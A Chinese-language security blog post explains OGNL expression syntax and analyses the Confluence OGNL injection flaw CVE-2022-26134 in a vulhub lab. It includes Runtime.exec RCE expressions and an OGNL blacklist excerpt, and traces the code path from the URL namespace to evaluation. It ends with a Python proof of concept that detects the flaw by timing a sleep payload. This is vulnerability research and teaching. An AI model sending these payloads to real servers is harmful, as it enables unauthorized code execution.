0x00 前言
现在已经是自由人了,不用再被繁琐的工作拖累了,所以有了更多时间可以学习。说到OGNL注入,你肯定第一个想到的是Struts2,但是我这里并不打算直接从其入手。一是,光是分析他的修复历史以及绕过就要一大篇文章去写;二是,我想锻炼一下自己的漏洞分析能力,而Struts2系列,很多师傅已经写过了,所以本文我分析的漏洞基本上都是比较新的CVE。当然,我后面还是会专门写一篇Struts2漏洞文章的。
- CVE-2022-26134漏洞分析
0x01 OGNL
表达式
OGNL是Java中常见的一种表达式,在Java安全中,我们之后还能见到EL、SPEL、JEXL表达式、(其实在之前的Nexus文章我已经见过了,但是没深入了解),懒狗预计后面会各自写一篇文章。
什么是表达式呢?其实通俗的说就是一个帮助我们更方便操作Bean等对象的式子,比如下面这个例子:
// 正常Java代码
String name = MyUser.getName()
// 表达式写法
#MyUser.name
可以看到,通过表达式,可以简化我们对类的操作。
OGNL三要素
OGNL有以下三要素:
- Expression 表达式
- root 根对象,即操作对象
- context 上下文,用来保存对象运行的属性及其值,有点类似于运行环境的意思,保存了环境变量
以下便是一个OGNL的实例,大家可以先感受一下:
public class JustTest {
public static void main(String[] args) throws Exception {
Hacker hacker = new Hacker();
hacker.setName("chenlvtang");
// 创建Context并传入root
OgnlContext context = new OgnlContext();
context.setRoot(hacker)
// 创建Expression
String expression = "hacker.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
System.out.println("result:" + value);
}
}
OGNL语法
.
操作符:如上所示,可以调用对象的属性和方法,hacker.name
,且上一个节点的结果作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))
,也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))
@
操作符:用于调用静态对象、静态方法、静态变量,@java.lang.Math@abs(-10)
#
操作符:a)用于调用非root对象
// 放入Context中,但不是root context.put("user", user) // 创建Expression,非root,所以要加上# String expression = "#user.name"; Object ognl = Ognl.parseExpression(expression); // 调用 Object value = Ognl.getValue(ognl,context,context.getRoot());
b)创建Map
#{"name": "chenlvtang", "level": "noob"}
c)定义变量
#a=new java.lang.String[]{"calc"}
$
操作符:一般用于配置文件,<param name="name">${name}</param>
%
操作符:计算其中的OGNL表达式,%{hacker.name}
List:直接使用
{"green", "red", "blue"}
创建对象创建:
new java.lang.String[]{"foobar"}
0x02 OGNL注入
简介
上文对OGNL的简单了解后,我们可以看到,利用OGNL可以用来操作类并进行相关调用。而所谓OGNL注入,即是当解析OGNL的函数(如上文的getValue)中参数可控时,传入恶意的OGNL语句,从而实现RCE等恶意操作。
OGNL RCE的测试
在pom.xml中加入如下的依赖(OGNL有2和3两个大版本,此处使用2):
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>2.7.3</version>
</dependency>
然后,我们根据上面学习的OGNL语法,写下如下的代码:
public class MyOGNL {
public static void main(String[] args) throws OgnlException {
String expression = "@java.lang.Runtime@getRuntime().exec('calc')";
OgnlContext context = new OgnlContext();
Ognl.getValue(expression, context, context.getRoot());
}
}
运行后,成功弹出计算器。具体里面怎么实现的,我这里就不跟进了,其实我感觉很多文章跟进,意义也不大……
OGNL 高版本下的黑名单
OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单。我们将依赖更新为3.1.25,然后再次运行,就会得到一个报错信息,如下:
根据报错信息,跟进到OgnlRuntime#invokeMethod,可以看到如下的黑名单:
public static Object invokeMethod(Object target, Method method, Object[] argsArray)
throws InvocationTargetException, IllegalAccessException
{
if (_useStricterInvocation) {
final Class methodDeclaringClass = method.getDeclaringClass(); // Note: synchronized(method) call below will already NPE, so no null check.
if ( (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)) ||
(AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)) ||
(SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)) ||
(SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)) ||
AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) ) {
throw new IllegalAccessException("........");
}
0x03 CVE-2022-26134 Confluence
漏洞信息
官方通告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
根据通告,我们确定了漏洞包为:xwork-1.0.3-atlassian-8.jar(点击下载);漏洞修复包为:xwork-1.0.3-atlassian-10.jar(点击下载)
漏洞点
将上面下载的源码解压,然后放进IDEA中,然后进行比较,找到了补丁的修复点如下(ActionChainResult#execute):
代码如下:
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
String finalActionName = TextParseUtil.translateVariables(actionName, stack);
环境搭建
修改vulhub里的靶场(可以随便一个低版本的Confluence即可,这里我是用的对应CVE的靶场)的docker-compose.yml,添加上调试端口:
version: '2'
services:
web:
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
- "5050:5050"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
使用docker-compose up -d将vulhub里的靶场启动(最好挂上代理来拉取),之后访问127.0.0.1:8090,即可看到如下的安装界面(原谅我从奇安信社区的文章截了一个图,因为我当时直接下一步,忘记截图了):
复制上图中的Server ID,然后访问:https://my.atlassian.com/license/evaluation,进行如下的选择,并填入我们刚刚复制的ID:
点击生成证书后,就会跳转到对应界面。在这里,我们可以复制key:
把key复制到靶场对应位置,之后就可以开始安装了,在此页面填入数据库信息(根据https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134进行填写即可):
之后就没什么值得注意的了,自己随便点点就能完成了。不过我们还需要下载一份代码用于我们调试,访问https://www.atlassian.com/software/confluence/download-archives,下载与Vulhub中相同的版本:7.13.6。接着,用IDEA将其打开,并将/confluence/WEB-INF中lib文件夹、atlassian-bundled-plugins-setup、atlassian-bundled-plugins添加到依赖之中(如果不加,之后远程调试时,服务会启动失败):
下一步,就是设置JVM远程调试,并开启调试:
进入docker容器,并在其配置文件中加入参数:
docker exec -it xxx
cd /opt/atlassian/confluence/bin
sed -i '/export CATALINA_OPTS/iCATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' setenv.sh
然后重启服务:
docker restart xxxx
在上文的补丁处,设下断点(这里还可以通过IDEA将代码源选择为之前下载的源码),访问127.0.0.1:8090,成功在断点中止:
漏洞分析
简单跟进后,我们在translateVariables()方法中发现了和OGNL相关的代码如下:
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
// 通过正则匹配出表达式,匹配的是${任意字符}这种形式
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous;
for(previous = 0; m.find(); previous = m.end()) {
String g = m.group(1);
int start = m.start();
String value;
try {
//Watch out, 注意这里
Object o = stack.findValue(g);
value = o == null ? "" : o.toString();
} catch (Exception var10) {
value = "";
}
sb.append(expression.substring(previous, start)).append(value);
}
继续跟进findValue()方法,可以看到调用了我们在上文讲过的getValue:
public Object findValue(String expr) {
try {
// 略
return this.defaultType != null ? this.findValue(expr, this.defaultType) : Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
}
} catch (OgnlException var3) {
return null;
} catch (Exception var4) {
// 略
}
}
而纵观整个过程,都不存在过滤,所以当ActionChainResult.namespace和ActionChainResult.actionName可控时,就可以成功通过OGNL来实现RCE(并且通过源码,我们可以发现Confluence使用的OGNL版本为2.6.5,所以不存在黑名单)。因此,下一步,我们的目标就是找到this.namespace和this.actionName可控的地方。
向上追溯,发现ActionChainResult是在DefaultActionInvocation#executeResult中通过createResult创建,并调用的execute,传入的是DefaultActionInvocation:
private void executeResult() throws Exception {
result = createResult();
//这里result等于ActionChainResult
if (result != null) {
result.execute(this);
} else if (!Action.NONE.equals(resultCode)) {
//略
}
}
跟进DefaultActionInvocation#createResult:
public Result createResult() throws Exception {
Map results = proxy.getConfig().getResults();
ResultConfig resultConfig = (ResultConfig) results.get(resultCode);
Result newResult = null;
if (resultConfig != null) {
try {
newResult = ObjectFactory.getObjectFactory().buildResult(resultConfig);
} catch (Exception e) {
//略
}
}
从这里可以看到,他先获得一个Map,然后从map中根据resultCode取出对应的resultConfig ,最后通过向buildResult传入resultConfig 将其实例化。这里我们的resultCode为“notpermitted”:
在map中找到对应的值如下图所示:
在其中的resultConfig 记录了className和params,并且actionName为“notpermitted”,跟进buildResult就会发现,他就是用过这个设置来实例化的:
public Result buildResult(ResultConfig resultConfig) throws Exception {
// 获取config中的类名
String resultClassName = resultConfig.getClassName();
Result result = null;
if (resultClassName != null) {
// 创建类
result = (Result) buildBean(resultClassName);
// 获取config中的params来设置参数
OgnlUtil.setProperties(resultConfig.getParams(), result, ActionContext.getContext().getContextMap());
}
return result;
}
所以,我们的actionName便是由proxy.getConfig().getResults()所决定的,更简单的说,是由DefaultActionInvocation.proxy决定的。而回过头去看漏洞点处的代码,会发现namespace同样是由他决定(在不改变proxy中的Map时,这里namespace一定会因为null,进入if,因为Map中params只有actionName的值):
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
String finalActionName = TextParseUtil.translateVariables(actionName, stack);
这里的invocation.getProxy()即会获得DefaultActionInvocation.proxy。因此我们的目标转换为了,DefaultActionInvocation.proxy在何时可控?
继续向上追溯,发现在ConfluenceServletDispatcher#serviceAction中进行了proxy的创建,并调用execute:
ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
proxy.execute();
熟悉代理的同学,就会知道,这里proxy其实就是DefaultActionInvocation.proxy,proxy.execute()会去调用invocation的invoke:
public String execute() throws Exception {
ActionContext nestedContext = ActionContext.getContext();
ActionContext.setContext(invocation.getInvocationContext());
String retCode = null;
try {
// 这里
retCode = invocation.invoke();
} finally {
ActionContext.setContext(nestedContext);
}
return retCode;
}
所以我们只要找到ConfluenceServletDispatcher#serviceAction中的namespace和actionName何时可控就可以控制proxy的创建了。继续向上追溯,发现其由ServletDispatcher#service调用:
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException {
try {
if (this.paramsWorkaroundEnabled) {
request.getParameter("foo");
}
request = this.wrapRequest(request);
// 这里
this.serviceAction(request, response, this.getNameSpace(request), this.getActionName(request), this.getRequestMap(request), this.getParameterMap(request), this.getSessionMap(request), this.getApplicationMap());
} catch (IOException var5) {
// 略
}
}
看到ServletDispatcher,我们就知道,已经快接近最终的可控点了。查看getNameSpace:
protected String getNameSpace(HttpServletRequest request) {
String servletPath = request.getServletPath();
return getNamespaceFromServletPath(servletPath);
}
先使用getServletPath获取请求路径,然后传入getNamespaceFromServletPath,继续跟进:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
只是单纯的把/
去除。至此,我们似乎已经可以通过URL来控制namespace,从而触发漏洞了。访问http://127.0.0.1:8090/${6+6}/,发现成功触发漏洞:
那actionName是否可控呢?首先看actionName是什么,跟进上文的 this.getActionName(request):
protected String getActionName(HttpServletRequest request) {
String servletPath = (String)request.getAttribute("javax.servlet.include.servlet_path");
if (servletPath == null) {
servletPath = request.getServletPath();
}
return this.getActionName(servletPath);
}
protected String getActionName(String name) {
int beginIdx = name.lastIndexOf("/");
int endIdx = name.lastIndexOf(".");
return name.substring(beginIdx == -1 ? 0 : beginIdx + 1, endIdx == -1 ? name.length() : endIdx);
}
因此,actionName实际就是我们访问的文件名,如hacker.action
,actionName即为hacekr
。再查看DefaultActionProxy的构造函数:
protected DefaultActionProxy(String namespace, String actionName, Map extraContext, boolean executeResult) throws Exception {
if (LOG.isDebugEnabled()) {
LOG.debug("Creating an DefaultActionProxy for namespace " + namespace + " and action name " + actionName);
}
this.actionName = actionName;
this.namespace = namespace;
this.executeResult = executeResult;
this.extraContext = extraContext;
//这里
config = ConfigurationManager.getConfiguration().getRuntimeConfiguration().getActionConfig(namespace, actionName);
if (config == null) {
String message;
if ((namespace != null) && (namespace.trim().length() > 0)) {
//这里
message = LocalizedTextUtil.findDefaultText(XWorkMessages.MISSING_PACKAGE_ACTION_EXCEPTION, Locale.getDefault(), new String[] {
namespace, actionName
});
} else {
message = LocalizedTextUtil.findDefaultText(XWorkMessages.MISSING_ACTION_EXCEPTION, Locale.getDefault(), new String[] {
actionName
});
}
throw new ConfigurationException(message);
}
prepare();
}
可以看到config实际是从配置中获取的,当我们尝试修改时,会因为找不到,而抛出错误。
POC
由上文的分析,我们编写POC如下:
import requests
import time
target = "http://{}/%24%7B%40java.util.concurrent.TimeUnit%40SECONDS.sleep(1)%7D/"
payload = target.format("192.168.125.128:8090")
startTime = time.time()
rq = requests.get(url=payload)
if time.time() - startTime >= 2:
print("CVE-2022-26134")
else:
print("FoolHacker")
通过响应时间来判断是否存在漏洞。
Confluence高版本绕过
在7.15 及以上的版本的findValue中增加了检查,懒狗将在更深入学习了OGNL注入后,补上这一部分。